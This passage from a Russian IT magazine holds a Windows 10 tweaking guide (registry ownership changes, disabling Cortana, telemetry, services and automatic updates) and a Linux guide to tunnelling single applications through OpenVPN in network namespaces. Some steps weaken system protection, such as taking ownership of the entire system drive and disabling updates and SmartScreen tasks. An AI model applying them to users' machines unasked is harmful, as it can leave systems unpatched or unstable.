
При мер исполь зования SubInACL

Ана логич но в одну коман ду ста новим ся вла дель цами всех фай лов и катало гов
на ука зан ном дис ке.

subinacl /subdirectories %SystemDrive% /grant=XTester=f

Ме тод 3 — через сто рон нюю бес плат ную ути литу SetACL
В целом метод ана логи чен исполь зованию штат ной ути литы SubInACL. Отли‐ 
чия — минималь ные.

Сна чала ска чива ем  .фри вар ную соф тину
Рас паковы ваем  архив  и  копиру ем  из  него  файл    в  каталог

 (или 64). Потом запус каем кон соль от адми на и вызыва‐ 
ем  SetACL.  Пол ный  син таксис  исполь зования  этой  ути литы  опи сан  в 

. Крат кая справ ка вызыва ется при запус ке с клю чом  .

SetACL.exe
%Windir%\System32

ру‐ 
ководс тве help

Ло гика ути литы та же, что и у SubInACL: нуж но ука зать имя объ екта, его тип
и дей ствие. Толь ко в слу чае SetACL это луч ше делать отдель ными коман дами.
Нап ример, коман да ниже сде лает ука зан ного поль зовате ля (XTester) вла дель‐ 
цем клю ча авто лог гера.

SetACL.exe ‐on "HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WMI\
AutoLogger" ‐ot reg ‐actn setowner ‐ownr "n:XTester"

Сле дующая же коман да пре дос тавит ука зан ной учет ке пол ный дос туп к это му
клю чу реес тра, то есть поз волит изме нять его.

SetACL.exe ‐on "HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WMI\
AutoLogger" ‐ot reg ‐actn ace ‐ace "n:XTester;p:full"

Ис поль зуем SetACL для задания прав дос тупа

Пос ле того как ты получил воз можность менять любые клю чи реес тра, самое
вре мя прис тупить к его модифи кации.

ОТКЛЮЧАЕМ КОРТАНУ
Кор тана  силь но  интегри рова на  в  сис тему. Она  свя зана  со  служ бой  поис ка,
полити ками при ват ности и так далее. Поэто му записей о ней в реес тре мно‐ 
го, и с каж дым бил дом Windows 10 их ста новит ся все боль ше.

Пос ле  «раз бло киров ки»  реес тра  любой  ключ  лег ко менять  через  regedit.
Ког да  их  мно го,  удоб нее  соз дать  бат ник  и  поменять  их  все  ско пом  из  кон‐ 
соли.

reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows\Windows Search" /v 
"AllowCortana" /t REG_DWORD /d 0 /f 
reg add "HKLM\SOFTWARE\Microsoft\PolicyManager\default\Experience\
AllowCortana" /v "value" /t REG_DWORD /d 0 /f 
reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Search" /v 
"CortanaEnabled" /t REG_DWORD /d 0 /f 
reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Search" /v 
"CortanaEnabled" /t REG_DWORD /d 0 /f 
reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Search" /v 
"CanCortanaBeEnabled" /t REG_DWORD /d 0 /f

Продолжение статьи →
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ОТКЛЮЧАЕМ СБОР ДАННЫХ
Под видом сбо ра «диаг ности чес ких» дан ных Windows 10 переда ет в Microsoft
гигабай ты  дан ных,  сре ди  которых  могут  ока зать ся  и  кон фиден циаль ные.
По сути это что‐то вро де встро енно го кей лог гера.

Что бы изба вить ся от этой пакос ти, сна чала оста нав лива ем фоновые служ‐ 
бы. Это мож но сде лать через оснас тку   или пря мо из кон соли.services.msc

net stop DiagTrack 

Ос танав лива ем служ бу телемет рии

sc config DiagTrack start=disabled 

От клю чаем автостарт служ бы телемет рии

net stop dmwappushservice
sc config dmwappushservice start=disabled

Из меня ем любые клю чи реес тра через кон соль или regedit

Да лее по ана логии оста нав лива ем служ бы и зап реща ем их авто запуск:
diagnosticshub.standardcollector.service;•
DcpSvc;•
WerSvc;•
PcaSvc;•
DoSvc;•
WMPNetworkSvc.•

Спи сок  служб всег да под бира ется инди виду аль но,  но  в  пер вую оче редь мы
пос ледова тель но отклю чаем:

DiagTrack (служ ба отправ ки «диаг ности чес ких» дан ных);•
Diagnostics Hub Standard Collector  (служ ба  сбор щика  цен тра  «диаг ности‐ 
ки» Microsoft);

•

dmwappushservice (служ ба мар шру тиза ции push‐сооб щений WAP).•

Те перь пора пра вить реестр.

reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows\DataCollection" /v 
AllowTelemetry /t REG_DWORD /d 0 /f
reg add "HKLM\SYSTEM\CurrentControlSet\Services\diagnosticshub.standa
rdcollector.service" /v "Start" /t REG_DWORD /d 4 /f 
reg add "HKCU\SOFTWARE\Microsoft\Personalization\Settings" /v "Accept
edPrivacyPolicy" /t REG_DWORD /d 0 /f
reg add "HKLM\SYSTEM\ControlSet001\Control\WMI\AutoLogger\AutoLo
gger‐Diagtrack‐Listener" /v "Start" /t REG_DWORD /d 0 /f
reg add "HKLM\SYSTEM\CurrentControlSet\Control\WMI\AutoLogger\AutoLo
gger‐Diagtrack‐Listener" /v "Start" /t REG_DWORD /d 0 /f
reg add "HKLM\SYSTEM\CurrentControlSet\Control\WMI\AutoLogger\SQMLog
ger" /v "Start" /t REG_DWORD /d 0 /f
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows\AppCompat" /v 
"AITEnable" /t REG_DWORD /d 0 /f
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows\AppCompat" /v 
"DisableUAR" /t REG_DWORD /d 1 /f
reg add "HKCU\SOFTWARE\Microsoft\InputPersonalization" /v "Restri
ctImplicitInkCollection" /t REG_DWORD /d 1 /f
reg add "HKCU\SOFTWARE\Microsoft\InputPersonalization" /v "Restri
ctImplicitTextCollection" /t REG_DWORD /d 1 /f
reg add "HKCU\SOFTWARE\Microsoft\InputPersonalization\Traine
dDataStore" /v "HarvestContacts" /t REG_DWORD /d 0 /f
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows\TabletPC" /v 
"PreventHandwritingDataSharing" /t REG_DWORD /d 1 /f
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows\HandwritingErro
rReports" /v "PreventHandwritingErrorReports" /t REG_DWORD /d 1
reg add "HKLM\SOFTWARE\Policies\Microsoft\SQMClient\Windows" /v 
"CEIPEnable" /t REG_DWORD /d 0 /f
reg add "HKLM\SOFTWARE\Policies\Microsoft\SQMClient" /v "Corpor
ateSQMURL" /t REG_SZ /d "0.0.0.0" /f
reg add "HKCU\SOFTWARE\Policies\Microsoft\Office\16.0\osm" /v "Enable
logging" /t REG_DWORD /d 0 /f
reg add "HKCU\SOFTWARE\Policies\Microsoft\Office\16.0\osm" /v "Enable
Upload" /t REG_DWORD /d 0 /f
reg add "HKCU\SOFTWARE\Microsoft\MediaPlayer\Preferences" /v "UsageT
racking" /t REG_DWORD /d 0 /f
reg add "HKCU\SOFTWARE\Microsoft\Siuf\Rules" /v "NumberOfSIUFInP
eriod" /t REG_DWORD /d 0 /f
reg add "HKCU\SOFTWARE\Microsoft\Siuf\Rules" /v "PeriodInNanoSeconds"
/t REG_DWORD /d 0 /f

reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows\DataCollection" /v 
"DoNotShowFeedbackNotifications" /t REG_DWORD /d 1 /f
reg add "HKCU\SOFTWARE\Policies\Microsoft\Assistance\Client\1.0" /v 
"NoExplicitFeedback" /t REG_DWORD /d 1 /f
reg add "HKLM\SOFTWARE\Microsoft\Input\TIPC" /v "Enabled" /t REG_DW
ORD /d 0 /f
reg add "HKCU\SOFTWARE\Microsoft\Input\TIPC" /v "Enabled" /t REG_DW
ORD /d 0 /f

Прос то сох рани все в виде скрип та (.bat или .cmd) и заком менти руй те стро‐ 
ки, которые счи таешь лиш ними на кон крет ном компь юте ре.

WWW

Ес ли хочешь узнать боль ше о шпи онских замаш‐ 
ках Windows 10, проч ти эти статьи:
•Тай ная  жизнь  Windows  10.  О  чем  Windows
10  сту чит  в Microsoft  и  как  зас тавить  ее  прек‐ 
ратить

•Об зор  Windows  10  Anniversary  Update:  сно ва
оту чаем «десят ку» сле дить и шпи онить

ОТКЛЮЧАЕМ НЕБЕЗОПАСНЫЕ СЕРВИСЫ
Лю бой  сер вис  теоре тичес ки  небезо пасен,  но  есть  извес тный  перечень
служб, которые оставля ют в Windows 10 зияющие дыры. Оста новить и отклю‐ 
чить  их  авто заг рузку  мож но  так же  через    и  .  Я  прос то
перечис лю  их  здесь,  что бы  не  перег ружать  статью  коман дами  с  пов торя‐ 
ющим ся син такси сом:

net  stop sc  config

RemoteRegistry;•
TermService;•
TrkWks;•
DPS.•

Ес ли ты исполь зуешь Windows 10 на компь юте ре, то луч ше отклю чить и бес‐ 
полез ный сбор информа ции с дат чиков мобиль ных устрой ств:

SensorDataService;•
SensorService;•
SensrSvc.•

Ес ли не поль зуешь ся Xbox, то сто ит отклю чить и свя зан ные с Xbox сер висы:
XblAuthManager;•
XblGameSave;•
XboxNetApiSvc.•

Оп циональ но через реестр отклю чаем уда лен ного помощ ника:

reg add "HKLM\SYSTEM\CurrentControlSet\Control\Remote Assistance" /v 
"fAllowToGetHelp" /t REG_DWORD /d 0 /f
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Remote Assistance" /v 
"fAllowFullControl" /t REG_DWORD /d 0 /f

При необ ходимос ти отклю чаем адми нис тра тив ные шары.

reg add "HKLM\SYSTEM\CurrentControlSet\Services\LanmanServer\Parame
ters" /v "AutoShareWks" /t REG_DWORD /d 0 /f

ЗАДАЕМ АВТОМАТИЧЕСКУЮ ОЧИСТКУ ФАЙЛА ПОДКАЧКИ
Во  избе жание  утеч ки  паролей  и  про чих  кон фиден циаль ных  дан ных  луч ше
регуляр но очи щать файл под качки при перезаг рузке и вык лючении.

reg add "HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\
Memory Management" /v " ClearPageFileAtShutdown " /t REG_DWORD /d 1 /
f

ОТКЛЮЧАЕМ АВТОЗАПУСК СО СМЕННЫХ НОСИТЕЛЕЙ
reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\
Explorer" /v "NoDriveTypeAutoRun" /t REG_DWORD /d 255 /f
reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\
Explorer" /v "NoAutorun" /t REG_DWORD /d 1 /f

СТИРАЕМ ИСТОРИЮ
От клю чаем сох ранение спис ков пос ледних откры тых фай лов:

reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer" /v 
"ShowRecent" /t REG_DWORD /d 0 /f
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows\FileHistory" /v 
"Disabled" /t REG_DWORD /d 1 /f

От клю чаем ведение исто рии поис ковых зап росов:

reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Search" /v 
"DeviceHistoryEnabled" /t REG_DWORD /d 0 /f

От клю чаем исто рию для при ложе ний:

reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows\AppPrivacy" /v 
"LetAppsAccessCallHistory" /t REG_DWORD

УДАЛЯЕМ ПРЕДУСТАНОВЛЕННЫЕ ПРИЛОЖЕНИЯ
Уда ление встро енных ком понен тов в Windows 10 не всег да про исхо дит оче‐ 
вид ным обра зом, но любая задача реша ется через кон соль. Сна чала мы при‐ 
бива ем  про цесс  ненуж ного  нам  при ложе ния,  а  затем  деин стал лиру ем  его.
На при мере OneDrive это выг лядит так:

taskkill /f /im OneDrive.exe
start %SystemRoot%\System32\OneDriveSetup.exe /uninstall

Уда ляем OneDrive

НАСТРАИВАЕМ АВТОМАТИЧЕСКОЕ СОЗДАНИЕ ТОЧЕК
ВОССТАНОВЛЕНИЯ
Точ ки вос ста нов ления удоб но соз давать авто мати чес ки при помощи ути литы
коман дной стро ки WMI (Windows Management Instrumentation).

Прос то  нас трой  вос ста нов ление  сис темы один раз,  а  затем  соз дай бат‐ 
ник, в котором будет сле дующая стро ка:

Wmic.exe /Namespace:\\root\default Path SystemRestore Call Create
RestorePoint "%DATE%", 100, 1

По весь  его  в  пла ниров щик  заданий,  и  он  будет  запус кать ся  по  ука зан ному
рас писанию  и  авто мати чес ки  соз давать  новые  точ ки  вос ста нов ления  сог‐ 
ласно нас трой кам, задан ным тобой на пер вом эта пе.

РЕЖИМ БОГА (ДЕЛАЕМ БЫСТРЫЙ ВЫЗОВ ЛЮБЫХ НАСТРОЕК)
Нас трой ки мно гих  парамет ров Windows 10  упря таны  так  глу боко,  что  лазить
по  гра фичес ким  меню  мож но  пол дня.  Гораз до  удоб нее  вызывать  их  все
одним  кли ком  через  единс твен ный  ярлык.  Такой  при ем  получил  наз вание
«режим  бога»  и  выпол няет ся  эле мен тарно:  дос таточ но  из‐под  адми на  соз‐ 
дать на рабочем сто ле новую пап ку с име нем

НапишиЗдесьЧтоУгодно.{ED7BA470‐8E54‐465E‐825C‐99712043E01C}

Это всё!

До бав ляем «режим бога»

Пос ле нажатия на Enter зна чок пап ки изме нит ся на сис темный и его имя скро‐ 
ется.  При  кли ке  на  него  заг рузит ся  спи сок  из  более  чем  двух сот  нас тро ек
в алфа вит ном поряд ке. Кра сота!

ОТКЛЮЧАЕМ АВТООБНОВЛЕНИЯ
Из бавить Windows от при выч ки заг ружать и ста вить обновле ния, ког да взду‐ 
мает ся сис теме, а не тебе, тоже мож но через реестр.

reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\
WindowsUpdate\AU" /v " AUOptions" /t REG_DWORD /d 2 /f

Пос ле это го оста ется воз можность получать апдей ты вруч ную.

reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\Curren
tVersion\DeliveryOptimization\Config" /v "DODownloadMode" /t REG_DW
ORD /d 0 /f

Ав тооб новле ние отклю чено

УБИРАЕМ ИЗ ПЛАНИРОВЩИКА ЗАПЛАНИРОВАННЫЕ ЗАДАЧИ
ТЕЛЕМЕТРИИ
Они  сос тоят  из  сек ций  «Кли ент ский  опыт»,  «Облачный  опыт»,  «Ста тис тика
при ложе ний»,  «Фай ловая  ста тис тика»,  «Диаг ности ка  дис ка»,  «Диаг ности ка
энер гоэф фектив ности», «Монитор семей ной безопас ности», «Сбор све дений
о сети» и мно жес тва дру гих.

Все  они  дос тупны  через  кон соль ную  коман ду  ,  которую  спер ва
нуж но запус тить с клю чом   для оста нов ки задачи. Затем пов торно запус‐ 
каем уже с клю чом  , ука зав пос ле   (task name) соот ветс тву ющее наз‐ 
вание.

schtasks
end

change tn

К при меру, коман да

schtasks /end /tn "\Microsoft\Windows\FileHistory\File History (
maintenance mode)"

за вер шит  задачу  «Сбор  ста тис тики  исполь зования  фай лов»,  а  сле дующая
коман да отклю чит ее:

schtasks /change /tn "\Microsoft\Windows\FileHistory\File History (
maintenance mode)" /disable

Вот спи сок осталь ных задач телемет рии:
Microsoft\Windows\AppID\SmartScreenSpecific•
Microsoft\Windows\Application Experience\AitAgent•
Microsoft\Windows\Application Experience\Microsoft Compatibility Appraiser•
Microsoft\Windows\Application Experience\ProgramDataUpdater•
Microsoft\Windows\Application Experience\StartupAppTask•
Microsoft\Windows\Autochk\Proxy•
Microsoft\Windows\CloudExperienceHost\CreateObjectTask•
Microsoft\Windows\Customer Experience Improvement Program\Consolidator•
Microsoft\Windows\Customer Experience Improvement Program\BthSQM•
Microsoft\Windows\Customer Experience Improvement
Program\KernelCeipTask

•

Microsoft\Windows\Customer Experience Improvement Program\UsbCeip•
Microsoft\Windows\Customer Experience Improvement Program\Uploader•
Microsoft\Windows\DiskDiagnostic\Microsoft‐Windows‐
DiskDiagnosticDataCollector

•

Microsoft\Windows\DiskDiagnostic\Microsoft‐Windows‐
DiskDiagnosticResolver

•

Microsoft\Windows\DiskFootprint\Diagnostics•
Microsoft\Windows\FileHistory\File History (maintenance mode)•
Microsoft\Windows\Maintenance\WinSAT•
Microsoft\Windows\NetTrace\GatherNetworkInfo•
Microsoft\Windows\PI\Sqm‐Tasks•
Microsoft\Windows\Power Efficiency Diagnostics\AnalyzeSystem•
Microsoft\Windows\Shell\FamilySafetyMonitor•
Microsoft\Windows\Shell\FamilySafetyRefresh•
Microsoft\Windows\Shell\FamilySafetyUpload•
Microsoft\Windows\Windows Error Reporting\QueueReporting•

ЗАКЛЮЧЕНИЕ
В  интерне те  ты  най дешь  мас су  прог рамм,  авто ры  которых  обе щают  «улуч‐ 
шить  работу Windows». Обыч но  они  дей ству ют  по  прин ципу  чер ного  ящи ка,
выпол няя  неведо мые  дей ствия.  Все  их  фун кции  мож но  заменить  набором
бат ников, соз дание которых опи сано в этой статье.

При соз дании собс твен ного набора скрип тов при дет ся нем ного помучать‐ 
ся, но толь ко один раз. Даль ше все будет выпол нять ся по рас писанию (через
пла ниров щик) или по зап росу в один клик.

Глав ное  —  ты  всег да  будешь  знать  навер няка,  что  имен но  изме няет ся
в реес тре и работе сис темных служб. Заод но, работая в кон соли, ты углу бишь
свои зна ния о Windows 10 и смо жешь выпол нять ана логич ные задачи голыми
руками где угод но.
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•Simple System Tweaker
•Advanced System Tweaker
•Optimizer
•Све дения о реес тре
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С ПОМОЩЬЮ
LINUX NETWORK NAMESPACES
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VPN  —  это  замеча тель ная  шту ка,  которая  повыша ет  твою
ано ним ность и безопас ность. Но пос тоян но сидеть под VPN
может  быть  неудоб но:  хочешь,  нап ример,  зай ти
в интернет‐банк со сво его реаль ного IP, но на закач ке сто ит
пара  новых  эпи зодов  любимо го  сери ала.  В  Linux  мож но
решить эту проб лему при помощи механиз ма network name‐
spaces и тун нелиро вать тра фик отдель ных при ложе ний. Сей‐ 
час я покажу, как это сде лать.

НЕМНОГО О LINUX NAMESPACES
В Linux реали зова на фун кция прос транс тва имен (namespace), которая отве‐ 
чает за изо ляцию раз ных ресур сов сис темы. Она вов сю при меня ется в про‐ 
ектах  кон тей нериза ции,  нап ример  таких  как  Docker.  Сущес тву ет 
типов прос транств имен: pid, net, mnt, user, uts, ipc.

нес коль ко

Нас инте ресу ет прос транс тво имен для сетей  (netns),  которое изо лиру ет
сетевые  ресур сы.  Для  каж дого  netns  мож но  наз начать:  свои  интерфей сы,
наборы IP‐адре сов и пор тов (сокеты), таб лицы мар шру тиза ции, пра вила фай‐ 
рво ла  и  так  далее.  Есть  воз можность  переме щать  интерфей сы  из  одно го
netns  в  дру гой.  Физичес кий  интерфейс  (нап ример,  eth0)  может  находить ся
одновре мен но   в одном netns.толь ко

Из началь но  все  интерфей сы  и  про цес сы  содер жатся  в  исходном  (initial)
netns,  у него нет  кон крет ного име ни, и он не отоб ража ется в спис ке. Пос ле
осво бож дения  какого‐либо  netns  все    интерфей сы,  которые
были  в  нем,  воз вра щают ся  в  initial  netns.  Осво бож дение  про исхо дит  пос ле
завер шения пос ледне го про цес са в этом netns. Нап ример, даже если уда лить
кон крет ный netns, но про цесс, запущен ный в нем, будет активным, физичес‐ 
кий  интерфейс  не  перене сет ся  обратно  в  исходный  netns  до  тех  пор,  пока
про цесс не будет завер шен. Рас смот рим этот вари ант поз же.

фи зичес кие

ВВЕДЕНИЕ В КУРС
Имен но  netns  поможет  нам  в  тун нелиро вании  тра фика  отдель ных  при ложе‐ 
ний. Для начала нуж но нем ного разоб рать ся в коман дах управле ния.

Ба за netns
За кон троль netns отве чает ути лита   из пакета  . Для соеди нения
netns меж ду собой мож но исполь зовать пару вир туаль ных интерфей сов  .
Рас смот рим при мер соз дания нес коль ких  netns и их  соеди нения. Для  это го
выпол ним

ip iproute2
veth

$ sudo ip netns add ns_1
$ sudo ip netns add ns_2

На личие этих netns смот ри коман дой   или прос то  ,
так  как    —  дей ствие  по  умол чанию.  Добавим  вир туаль ную  пару
при помощи коман ды

ip netns list ip netns
list

$ sudo ip link add dev virt01 type veth peer name virt02

Уп равле ние netns и veth с помощью ip

Ин терфей сы  добави лись,  теперь  перемес тим    в  netns  ,
а   — в  .

virt01 ns_1
virt02 ns_2

$ sudo ip link set virt01 netns ns_1
$ sudo ip link set virt02 netns ns_2

Ес ли  не  появи лось  сооб щений  об  ошиб ках,  зна чит,  все  прош ло  успешно.
Для выпол нения коман ды внут ри netns исполь зует ся коман да

$ sudo ip netns exec <имя netns> <команда для выполнения>

Нап ример,  пос мотреть  спи сок  дос тупных  интерфей сов  внут ри  netns 
мож но при помощи

ns_1

$ sudo ip netns exec ns_1 ip link

По читав  ,  узна ем,  что  выпол нять  коман ды    внут ри  netns  мож но
при помощи  , а зна чит, 

 заменя ем на  .

man ip
$ sudo ip ‐n <имя netns> $ sudo ip netns exec 

ns_1 ip link $ sudo ip ‐n ns_1 link

Удос товерим ся, что интерфей сы перенес лись в нуж ные netns

По умол чанию интерфей сы, соз данные или переме щен ные в netns, пре быва‐ 
ют в отклю чен ном сос тоянии, даже  .lo

До бавим нашим интерфей сам   и   по IP‐адре су и переве дем
их в сос тояние  . Для  это го  вос поль зуем ся  «про качан ной»  коман дой,  под‐ 
смот ренной в  :

virt01 virt02
UP

man

$ sudo ip ‐n ns_1 addr add 10.0.0.1/24 dev virt01
$ sudo ip ‐n ns_2 addr add 10.0.0.2/24 dev virt02
$ sudo ip ‐n ns_1 link set dev virt01 up
$ sudo ip ‐n ns_2 link set dev virt02 up
$ sudo ip ‐n ns_1 addr show
$ sudo ip ‐n ns_2 addr show

Со еди няем вмес те нашу вир туаль ную пару

Как  я  уже  говорил,  у  каж дой  netns  своя  таб лица  мар шру тиза ции,  про верим
это.

Дей стви тель но, таб лицы отли чают ся

Для про вер ки свя зи меж ду   и   вос поль зуем ся коман дой  .ns_1 ns_2 ping

$ sudo ip netns exec ns_1 ping ‐c 4 10.0.0.2

Со еди нение уста нов лено успешно

Как  ты  пом нишь,  адрес  10.0.0.2  при над лежит  интерфей су  ,  который
находит ся в  . Похожим спо собом netns соеди няют с физичес ким  .

virt02
ns_2 eth0

Вы пол нение команд и запуск про цес сов внут ри netns
Как ты пом нишь, коман ды внут ри netns выпол няют ся при помощи

$ sudo ip netns exec <имя netns> <команда>

Что бы не писать все это каж дый раз, запус тим  !bash

$ sudo ip netns exec ns_1 bash

Пос ле  это го  все  коман ды  будут  исполнять ся  внут ри  netns —  заод но  и  про‐ 
верим ситу ацию с фай рво лом. Что бы вер нуть ся, пиши   или  .exit CTRL + D

Спи сок пра вил пуст

У меня всег да при сутс тву ют пра вила в фай рво ле, так что это точ но отдель ный
набор. ;)

Пе рей дем  к  при меру  с    физичес кого  интерфей са  в  initial
netns. Для  это го  про верим  текущее рас положе ние    и  перене сем его
в  .

воз вра щени ем
enp0s3

ns_2

$ sudo ip link set dev enp0s3 netns ns_2

Как вид но, enp0s3 боль ше нет в init netns

Под нимем его в netns   и запус тим WireShark от име ни поль зовате ля (eakj)
там же.

ns_2

$ sudo ip ‐n ns_2 link set dev enp0s3 up
$ sudo ip ‐n ns_2 link
$ sudo ip netns exec ns_2 sudo ‐u eakj wireshark 2>/dev/null &

WireShark запущен в netns ns_2

Те перь уда лим netns   и пос мотрим, вер нется ли   в initial netns:ns_2 enp0s3

$ sudo ip netns del ns_2

enp0s3 не осво бодит ся, пока про цесс WireShark не будет завер шен,
даже нес мотря на уда ление ns_2

Зак роем WireShark и пос мотрим, даст ли это резуль тат.

Пос ле завер шения про цес са enp0s3 вер нулся в initial netns

Это го дол жно быть дос таточ но,  что бы понять,  как работа ют  netns  и  как  ими
управлять. Перей дем к OpenVPN.

РАЗБИРАЕМСЯ С OPENVPN
Не так дав но я   о том, как под нять собс твен ный OpenVPN на арен дован‐ 
ном  сер вере.  Если  ты  сле довал  гай ду,  то  у  тебя  уже  нас тро ен  кли ент ский
файл,  который мож но  исполь зовать.  Кон фигура цион ные фай лы дру гих  VPN‐
про вай деров  тоже  подой дут,  так  как  никаких  изме нений  на  сер вере  делать
не при дет ся.

пи сал

Из менение кли ент ско го кон фига
Поз накомим ся с новыми дирек тивами OpenVPN.
1.    —  зап реща ет  кли енту  авто мати чес кое  выпол нение

  для  добав ления  IP‐адре са  интерфей су  .  Вмес то  это го
передаст нуж ные парамет ры в качес тве перемен ных окру жения.

ifconfig­noexec

ifconfig tun

2.    —  та  же  ситу ация,  что  и  с  ,  толь ко
вмес то  IP  он  не  будет  добав лять  мар шру ты.  Необ ходимые  парамет ры
переда дут ся.

route­noexec ifconfig­noexec

3.    отпра вит  на  скрипт  перемен ной
окру жения   стро ку  .
route­up /полный/путь/к/скрипту

$script_type route­up

4.    —  то  же,  что  и  ,  толь ко
передаст стро ку   пос ле под нятия интерфей са  tun/tap. Выпол няет ся 
дирек тивы  , которая дол жна понизить наши при виле гии.

up  /полный/путь/к/скрипту route­up

up до

user

5.   — то же, что и  , толь ко стро‐ 
ку  , пос ле уда ления интерфей са  tun/tap. Выпол няет ся   дирек‐ 
тивы  !

down /полный/путь/к/скрипту route­up

down пос ле

user

6.   поз волит исполнять кас томные скрип ты.script­security 2

Пол ный  спи сок  переда ваемых  перемен ных  окру жения  мож но  пос мотреть
в  , сек ция Environmental Variables.man openvpn

На деюсь, ты обра тил вни мание на жир ный шрифт. Дирек тива   добавит
наш  netns,    —  уда лит.  Для  добав ления  и  уда ления  netns  нуж ны  пра ва
рута. Это не проб лема в слу чае с  , пос коль ку она исполня ется перед  ,
а  та,  в  свою  оче редь,  понижа ет  пра ва  до  .  А  вот  с    явно  будут
проб лемы,  так  как  поль зователь    не  смо жет  уда лить  netns.  Поэто му
пер вым делом в кли ент ском кон фиге заком менти руй или уда ли строч ки

up
down

up user
nobody down

nobody

user nobody
group nobody

и добавь новые дирек тивы. При мер нем ного изме нен ного скрип та из прош‐ 
лой статьи:

openvpn_client.conf
client
dev tun
proto tcp
remote 127.0.0.1 1194
resolv‐retry infinite
nobind
#user nobody
#group nobody
persist‐key
persist‐tun
ca /etc/openvpn/client/ca.crt
cert /etc/openvpn/client/openvpn‐client.crt
key /etc/openvpn/client/openvpn‐client.key
### на клиенте 1
tls‐auth /etc/openvpn/client/ta.key 1
remote‐cert‐tls server
cipher AES‐256‐GCM
verb 3
script‐security 2
ifconfig‐noexec
route‐noexec
up "/etc/openvpn/client/ovpn_control.sh"
route‐up "/etc/openvpn/client/ovpn_control.sh"
down "/etc/openvpn/client/ovpn_control.sh"

где   — скрипт, который будет обра баты вать дирек тивы.ovpn_control.sh
Те перь  нужен    для  netns.  Он  хра нит ся  в 

, поэто му соз дадим дирек торию:
resolv.conf /etc/netns/<имя 

netns>/resolv.conf

$ sudo mkdir ‐p /etc/netns/<имя netns>

В  нашем  слу чае  имя —  это  .  При  выпол нении  скрип та  в 
запишут ся  DNS‐сер веры.  Если  netns    най ти 

,  то  обра тит ся  к  .  Поэто му  убе дись,  что  там
пуб личные сер веры, так как DNS‐зап росы идут через тун нель и адрес тво его
роуте ра может не най тись на сто роне сер вера. :)

ovpn resolv.conf
не  смо жет /etc/netns/ovpn/

resolv.conf /etc/resolv.conf

При мер  скрип та —  ниже.  Можешь  заменить  в  нем    и    на  свои
любимые.

DNS1 DNS2

ovpn_control.sh
#!/usr/bin/bash
DNS1=208.67.222.222
DNS2=208.67.220.220
case $script_type in
   up)
       /usr/sbin/ip netns add ovpn
       /usr/sbin/ip link set $dev netns ovpn
       /usr/sbin/ip ‐n ovpn address add $ifconfig_local/30 dev $dev
       /usr/sbin/ip ‐n ovpn link set $dev up mtu $tun_mtu
       [ ! ‐d /etc/netns/ovpn ] && mkdir ‐p /etc/netns/ovpn
       echo "nameserver $DNS1" > /etc/netns/ovpn/resolv.conf
       echo "nameserver $DNS2" >> /etc/netns/ovpn/resolv.conf
       ;;
   route‐up)
       /usr/sbin/ip ‐n ovpn route add default dev $dev
       ;;
   down)
       /usr/sbin/ip netns del ovpn
       ;;
esac

Продолжение статьи →
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Уп равле ние кли ентом
В  прош лой  статье  для  управле ния  кли ентом  исполь зовались  толь ко  фай лы
с  рас ширени ем    для  .  Сей час  рас смот рим  и  дру гой  вари‐ 
ант:  управле ние  при  помощи  скрип та.  При годит ся  тем,  у  кого  дис три бутив
без  .

.service systemd

systemd

Пи шем скрипт
Ни же при веду свой скрипт и в двух сло вах объ ясню, что он дела ет.
1. При нима ет  на  стан дар тный  вход  пер вым  аргу мен том  ( )  одну  из  строк:

,  ,   или  .
$1

start stop restart exec

2. В соот ветс твии со стро кой выпол няет одну из фун кций:

ес ли  ,  то  в  фоновом  режиме  запус кает    с  кон фигом,
который при веден ниже, а так же пишет лог в  ;

• start openvpn

/tmp/ovpn_log.txt

ес ли  ,  то  про цесс    прек раща ется  сиг налом 
(   или  прос то  ).  Это  дает    воз можность  обра‐ 
ботать  его  и  пос лать  перемен ной  окру жения    стро ку

 в дру гой скрипт (см. выше). Номер про цес са берет ся из PID‐фай‐ 
ла. Так же сто ит заг лушка для слу чая с лога утом. Детали — ниже;

• stop openvpn SIGTERM

kill ­15 kill openvpn

$script_type

down

 запус кает сна чала  , потом  ;• restart stop start

 в netns выпол няет от име ни поль зовате ля все, что переда но пос‐ 
ле него.

• exec

INFO

При  завер шении  сес сии  сис тема,  видимо,  уби‐ 
вает  про цес сы  сиг налом    ( ),
и  у  OpenVPN  уже  нет  шан сов  пос лать  скрип ту
коман ду    и,  соот ветс твен но,  уда лить  netns.
Если  ты  будешь  делать  лога ут  с  запущен ным
OpenVPN,  то  пос ле  захода  обратно  netns  может
быть  под нят,  но  интерфей са    уже  не  будет.
В этом слу чае нуж но будет выпол нить

SIGKILL kill  ‐9

down

tun

$ sudo ./openvpn_netns.sh restart

Да лее  —  сам  скрипт.  Под правь  ,  ,  ,  ,
, как тебе пон равит ся.

x_user conf_file log_file pid_file
netns_name

openvpn_netns.sh
#!/usr/bin/bash
x_user=eakj
conf_file=/etc/openvpn/client/openvpn_client.conf
log_file=/tmp/ovpn_log.txt
pid_file=/var/run/ovpn.pid
netns_name=ovpn
die() {
   printf "%s\n" "$@"
   exit 1
}
usage() {
   printf "%s\n\t%s\n" "USAGE:" "$0 start|stop|restart|exec"
   exit 1
}
start_() {
   [ ‐f /var/run/netns/$netns_name ] && die "[E:] netns $netns_name 
is already up. If it shouldn't be, try restart"
   if [ ‐f "$conf_file" ]; then
